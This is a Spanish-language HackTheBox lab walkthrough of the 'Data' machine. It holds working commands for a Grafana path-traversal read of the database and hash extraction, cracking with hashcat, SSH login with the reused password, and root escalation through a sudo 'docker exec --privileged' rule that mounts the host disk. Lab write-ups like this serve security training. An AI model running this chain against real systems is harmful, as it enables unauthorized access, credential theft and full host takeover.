Data
Data Linux · Easy - Adventure mode
🔭 Reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(pmartinezr㉿kali)-[~/htb/data]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.234.47
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-11 12:52 +0100
Nmap scan report for 10.129.234.47
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
| 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_ 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open http Grafana http
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 seconds
La web presenta la aplicación grafana
1
2
3
4
5
6
7
8
9
10
┌──(pmartinezr㉿kali)-[~/htb/data]
└─$ searchsploit grafana
------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------ ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
Grafana <=6.2.4 - HTML Injection | typescript/webapps/51073.txt
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Buscando posible exploits me doy cuenta de que esta versión debe ser vulnerable a algun tipo de path transversal por lo que debemos continuar por esta vía.
Con Zap puedo fuzzear la web y encontramos archivos interesantes.
Podemos acceder a varios ficheros de esta forma me descargué este fichero https://github.com/Vulnmachines/grafana-unauth-file-read el cual fui modificando para tener resultados.
1
2
3
4
5
6
7
8
9
[database]
# You can configure the database connection by specifying type, host, name, user and password
# as separate properties or as on string using the url properties.
# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
;path = grafana.db
Encuentro el archivo /etc/grafana/grafana.ini que nos da información de como se llama el archivo de base de datos y que está usando sqlite3
1
2
3
4
5
┌──(pmartinezr㉿kali)-[~/htb/data]
└─$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertmanager/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 584.0k 100 584.0k 0 0 1.82M 0 0
Con este comando curl debemos usar el flag --path-as-is no procesa secuencias de /../ o /./ en la ruta URL dada. Normalmente, curl las combina o fusiona según los estándares, pero con esta opción activada, le indica que no lo haga.
1
2
3
sqlite> select * from user ;
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0
Ahora ya tenemos el archivo de base de datos y podemos consultar la información que hay en el.
Tras alguna averiguaciones encuentro una utilidad que me puede ayudar a descifrado de estos hashes. https://github.com/iamaldi/grafana2hashcat
1
2
3
sqlite> select password, salt from user;
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl
Siguiendo la documentación de grafana2hashcat seleccionamos password,salt y lo metemos en un archivo.
1
2
3
4
5
6
7
8
9
10
┌──(pmartinezr㉿kali)-[~/htb/data/grafana2hashcat]
└─$ python grafana2hashcat.py hash -o output.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: hash
[+] Done! Read 1 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to 'output.txt' file.
[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt
Ejecutamos la herramienta y obtenemos un archivo de salida .
1
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
Este sería el contenido del archivo el cual llamé output.txt
1
2
3
┌──(pmartinezr㉿kali)-[~/htb/data/grafana2hashcat]
└─$ hashcat hashcat -m 10900 output.txt /usr/share/wordlists/rockyou.txt
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
Ahora sí podemos descifrarlo con hashcat. beautiful1
1
2
3
4
5
6
7
boris@data:~$ cat user.txt
8f95757d6ac887eb************
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
El usuario boris reutliza la password para el servicio de SSH además descubrimos un posible vector con sudo
👽 Acciones:
1
2
3
4
5
6
7
8
boris@data:~$ ps aux | grep docker
root 1050 0.0 3.8 1422756 79048 ? Ssl 11:50 0:04 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/1125/config/daemon.json
root 1253 0.0 2.1 1351056 44320 ? Ssl 11:50 0:07 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root 1543 0.0 0.1 1226188 3312 ? Sl 11:50 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root 1552 0.0 0.1 1153864 3264 ? Sl 11:50 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root 1567 0.0 0.4 712864 8440 ? Sl 11:50 0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
472 1592 0.1 3.0 776448 62904 ? Ssl 11:50 0:09 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
boris 23642 0.0 0.0 14860 1148 pts/0 S+ 14:07 0:00 grep --color=auto docker
Busco algún contenedor Docker corriendo.
1
2
3
4
5
6
7
8
9
10
11
boris@data:~$ sudo docker exec -it --privileged --user root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 bash
bash-5.1# whoami
root
bash-5.1# mount /dev/sda1 /mnt/
bash-5.1# ls /mnt/
bin home lib64 opt sbin tmp vmlinuz.old
boot initrd.img lost+found proc snap usr
dev initrd.img.old media root srv var
etc lib mnt run sys vmlinuz
bash-5.1# cat /mnt/root/root.txt
fddb7470d5f84345************
La explotación consiste en montar la unidad sda1 en el propio contenedor eso sí con --user root y el flag --privileged